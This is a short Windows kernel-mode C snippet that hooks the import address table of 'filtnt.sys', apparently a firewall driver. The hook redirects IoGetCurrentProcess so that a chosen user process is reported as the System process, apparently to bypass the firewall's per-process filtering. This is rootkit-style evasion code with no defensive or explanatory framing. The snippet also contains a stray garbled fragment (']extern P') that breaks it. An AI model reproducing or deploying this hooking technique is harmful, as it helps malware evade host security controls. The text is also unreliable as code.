static
void HookImport(
IN PVOID Image,
IN PVOID Handler,
IN PVOID NewHandler
)
{
PIMAGE_DOS_HEADER dHeader = Image;
PIMAGE_NT_HEADERS ntHeaders = RVATOVA(Image, dHeader->e_lfanew);
ULONG ImpRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

if (ImpRVA)
{
PIMAGE_IMPORT_DESCRIPTOR ImpDesc = RVATOVA(Image, ImpRVA);

while (ImpDesc->Name)
{
PIMAGE_THUNK_DATA Import;

Import = RVATOVA(Image, ImpDesc->FirstThunk);

while (Import->AddressOfData) 
{
PIMAGE_IMPORT_BY_NAME ImpName = RVATOVA(Image, Import->AddressOfData);

if (Import->Function == (ULONG)Handler) 
{
Import->Function = (ULONG)NewHandler; 
}

Import++; 
}

ImpDesc++;
}
}
}

static
PEPROCESS
NewIoGetCurrentProcess()
{
PEPROCESS Process = IoGetCurrentProcess();

if (Process == UserProcess) Process = PsInitialSystemProcess;

return Process; 
}



void InitFwb(void)
{
PVOID Image = GetModuleHandle("filtnt.sys");
]extern P
if (Image)
{
HookImport(Image, IoGetCurrentProcess, NewIoGetCurrentProcess);
}
}